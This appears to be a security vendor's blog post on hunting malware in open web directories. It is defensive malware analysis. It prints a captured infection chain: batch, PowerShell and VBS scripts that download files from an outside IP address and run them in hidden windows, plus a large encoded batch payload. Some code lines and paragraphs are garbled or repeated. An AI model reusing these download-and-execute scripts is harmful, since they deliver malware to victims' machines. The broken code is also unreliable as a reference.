The Accidental Malware Repository: Hunting & Collecting Malware Via Open Directories (Part 1)

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Figure 4: Spoofed Login Page

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@echo off			
set Url=http://65.1.224.214/PowerShell.ps1 set Destination=%TEMP%\PowerShell.ps1			
echo Downloading PowerShell script from %Url%			
powershell -WindowStyle Hidden -Command "& { (New-Object System.Net.Web nation%') }"	Client).DownloadFile('%U	rl%', '%	Desti
echo PowerShell script downloaded successfully to %Destination%			
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powershell -WindowStyle Hidden -File %Destination%			

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$Destination1 = Join-Path $env:TEMP '2.bat'
(New-Object System.Net.WebClient).DownloadFile($Url1, $Destination1)
$Ur12 = 'http://65.1.224.214/start.vbs'
$Destination2 = Join-Path $env:TEMP 'start.vbs'
(New-Object System.Net.WebClient).DownloadFile($Ur12, $Destination2)
if (-not (Test-Path $Destination1) -or -not (Test-Path $Destination2)) {
   Write-Host "Files not downloaded successfully."
} else {
   Write-Host "Files downloaded successfully."
   Start-Sleep -Seconds 5 # Wait for 5 seconds
    # Execute the downloaded files using wscript.exe in hidden window
    Start-Process wscript.exe -ArgumentList $Destination2 -WindowStyle Hidden
}
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Figure 8: PowerShell Script To Download .bat & .vbs files

The script, thoughtfully written with comments, downloads two files and checks if the documents already exist on the victim machine; if not, it executes the VBS file from a hidden window.

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Set objFS0 = CreateObject("Scripting.FileSystemObject")
strTempPath = objFSO.GetSpecialFolder(2) ' 2 represents the TEMP folder
' Specify the filename to search for
strFileName = "2.bat"
' Combine the TEMP path with the filename
strFilePath = objFSO.BuildPath(strTempPath, strFileName)
' Check if the file exists
If objFSO.FileExists(strFilePath) Then
    ' File found, now execute it silently
   Set objShell = CreateObject("WScript.Shell")
   objShell.Run strFilePath, 0, False
    Set objShell = Nothing
Else
   ' File not found
End If
Set objFSO = Nothing
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Figure 9: Malicious VBS File

Again, the visual basic file checks if the 2.bat file is on the victim host and, if so, runs the file silently.

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Figure 10: Encoded Batch File

2.bat, when executed, drops a file named 2.bat.exe in the %TEMP% folder. Luckily, the decryption key can be found within the code, and decompression is trivial.



Figure 11: Decompressed & Decrypted Code

What Else Can I Find?

Short answer: just about anything you can think of. We constantly scan and update our database of open directories and their associated files, ensuring the most up-to-date information for defenders and researchers looking to analyze malicious samples and thwart actors attempting to damage their reputations.

As we progress in this series, we'll dive deeper into how Hunt can assist in hunting for the next significant threat, keeping our networks and brands safer one blog at a time.

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Again, the visual basic file checks if the 2.bat file is on the victim host and, if so, runs the file silently.

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<pre>@echo off :: @29Mmgik_CASH_bPLBqWpy2+R8FvBtUNLjy_CASH_/67_CASH_/R_CASH_ c6h1tN92QlJqlk_CASH_/45DNXL12z1LyuR8VkT+VTuS7xL_CASH_bofJD2Hd _b4v3AU_CASH_b0dwfJMj20Htn5rzB108kK7sSMut+Q30L4p3NPTwwyCZ7DPE: nkVwUKlZrhsDuov0Z8_CASH_b_CASH_b0LuiMBV5uX3jWYd2DcEPml8LNK2i CASH_bMVyE7EDc@_CASH_a_CASH_bK6j53r06sHDr_CASH_/sz9Tn_CASH_bA5X LT5edDA85p_CASH_/L1ynEu_CASH_bPAtyDdQ2vyJ6DkEu51H3V+h5cF3ZBt5 ASH_/EiQywtv06TTLymHhYZUCuQQSw6q745StYyn1_CASH_/sz9Tn_CASH_bA5X LT5edDA85p_CASH_/L1ynEu_CASH_bPAtyDdQ2vyJ6DkEu51H3V+h5cF3ZBt5 a_CASH_/W900kH5hh5_CASH_/6LttUtR063inpY05gL3AW4XWit5H31PCkCkK Ycc_CASH_/iAH0UEvyVJucHD1_CASH_/22nLXW_CASH_/IEHyi_CASH_/0U0m Sd0lyEKuhzxYHU_CASH_bhnhNd3wtkJCnUVv0IVNNuvTqYLepnsiGIuPZKY0L 5W15rkt2DIm30bSE10+UmZADA2ipp3FZ2Cv_CASH_a_CASH_aT1wnQy1wxjV b4L20W8Tjw_CASH_bm1ACEmU8102HmYsR_CASH_/txiYV7EJ1jy4uc2jYN6m SE5wdPqvjej_CASH_aVq0LH0Q0yqtBEECI6ZJS21JfWzES1oxv4LZ61xfuRkr6U +6xzNS0rswNuwCI6IRcidvsEcff5xT4PsN1UYuEPKK10MeF0mVYSqrAkTCHD iZ0pu1_CASH_aBWPcN1w_CASH_brAshy1vG3IUPTSBu860UsRQyF_CA UmdRTfVQB78Y28G1Q2mx+AYQUcgQXB4P3y_CASH_MITMJWDAjxfH87Kwt1 Ag+ZTMDxouo6pKu5eK69Ig0LPIgnc_CASH_/3EVTHWLnXHY6j6tv4pRR fkjf8rIuQ8tLFy_CASH_aN2CCASH_aCASH_JTFMVLNXHY6j6tv4pRR fkjf8rIuQ8tLFy_CASH_aN2CCASH_CASH_JCASH_JNFJ6iNASUQFCASH_JNJNYG3IUPTSBu860USRQyF_CA UmdRTfVQB78Y28G1Q2mx+AYQUcgQXB4P3y_CASH_JFTMULRKN1Zi_CASH_a piFk_CASH_aH6Q09BAK3RmZEYLt6_CASH_/CASH_AHMEmhH0m_CASH_a; piFk_CASH_bUNJNNeuM1jh_CASH_/C_CASH_BEUHIXwuLRCJNHj6gC1C5GJM H_b90EWUABPUher_CASH_/IKAMdRnRRg+001062030+gFLUNKRK1Zi_CASH_bA2ObkL 0oAtJqCVVrq0VkJX70EeW7K_CASH_/OIINXfzyMLeYZVN2kI_CASH_V117pSj n_CASH_b6fH0Q4ve3HLXxX1YSPWPty_CASH_b0XFW2VQA4rihvZ1Vu2CX0P9HW11g SDC+15mQ0M_CASH_AKDrclBrsjdM7C68RkLB3h_CASH_A0xlwu7+CMZsNd7W zfwUuTvfVN1XEAZANrz0ep1w_CASH_bVK0CpDV8K_CASH_/A0xlwu7+CMZsNd7W zfwUUTvfVN1XEAZANrz0ep1w_CASH_bVR0CpDV8K_CASH_/A0xlwu7+CMZsNd7W zfwUUTvfVN1XEAZANrz0ep1w_CASH_bVR0CpDV8K_CASH_/A0xlwu7+CMZsNd7W zfwUUTvfVN1XEAZANrz0ep1w_CASH_bVR0CpDV8K_FRSESCRLD20F6gU</pre>	<pre>/_CASH_b4CpniW2FJk2usy00B4: lTp_CASH_/LgDhqUelcN7g7c6n GoDYyh_CASH_/ecxAKFGwZnd9iJ OM_CASH_/Rj03zUJsZCrVzmSIm kYE73r7w5+S_CASH_/2vT_CASH, v_CASH_a50Cf7ySBzIupTVLcni sCE_CASH_bV8A+YhNdY+Zwk_CA: oI98YCyWlBmG3Mn_CASH_b_CASI CctxpJt_CASH_a2xVnT2N+7GLZ RGJCf6cEi+T9zUWVBNDxfPWt0Nu hIYQgZC3P7mltHVqMZFe5RK51_ 1AIB_CASH_byrDWBNg5_CASH_b JVivsCQC+GD2AEU+0efvFxZynVi p28Z_CASH_auhMm_CASH_/LvYi 3GcFqxZdQdS7ntQMgBGFyjPS7q H_akiuU_CASH_/CASH_bbHDTP; hNNqjQ5H4M82tgkt33_CASH_bN sKOHwXBmnFg_CASH_bdsVRysx1 vfiomAuX++HqG_CASH_ak_CASH_ BX+MRi4mTK04mh7QKrW+h00Jq0] efCHSETh_CASH_bXM0e8KRHzh. SH_b_CASH_/TxSy+_CASH_/+1CI 1MSqogyEHzvLq0L_CASH_/Qc+H] _CASH_b0_CASH_CASH_CASH_/QC+H] CASH_b12CASH_CASH_ASL_ASL_ASL_ASL_ASL_ASL_ASL_ASL_ASL_ASL</pre>	3Dcso9_ fmJSPYu NpRti_C nZuMjVP _ajsDSt H7i1Dfn SH_akU1 H_/37T1 CDBL6M7 QQy1yxB CASH_/d 4S3KH01 dT19S0Y guM740NP ikZjkV9 JW740NP ikZjkV9 D80iUH7 p_CASH_ US080iUH7 b_CASH_ 13ps01 B5xtzne B5xtzne B5xtzne B5xtzne B7SugVV L_CASH_ HWJ3Y3A F4KJ_CA F4KJ_CA F4KJ_CA F4KJ_CA	CASH_E E_CASH ASH_aI Co5eV_ fU1nmc hRsKOs OMVS_C rXggXy _CASH_ 8y4HrF 3108qN 3Wewfx _CASH_ 1Y0zjS ASH_/_ 4eQU02 hj1DVi mB&mFF B_CASH kV3dCt 8YHB4m KL3SCC vi_CAS vqfs4H /+NSCC vi_CAS qqIAhi nmd0YE 9zL5Um aBgFxF 6rAMLW SH_bfM prUtLE BKp612 SvosY_ ASH_az duk3X8

Figure 10: Encoded Batch File

2.bat, when executed, drops a file named 2.bat.exe in the %TEMP% folder. Luckily, the decryption key can be found within the code, and decompression is trivial.



Figure 11: Decompressed & Decrypted Code

What Else Can I Find?

Short answer: just about anything you can think of. We constantly scan and update our database of open directories and their associated files, ensuring the most up-to-date information for defenders and researchers looking to analyze malicious samples and thwart actors attempting to damage their reputations.

As we progress in this series, we'll dive deeper into how Hunt can assist in hunting for the next significant threat, keeping our networks and brands safer one blog at a time.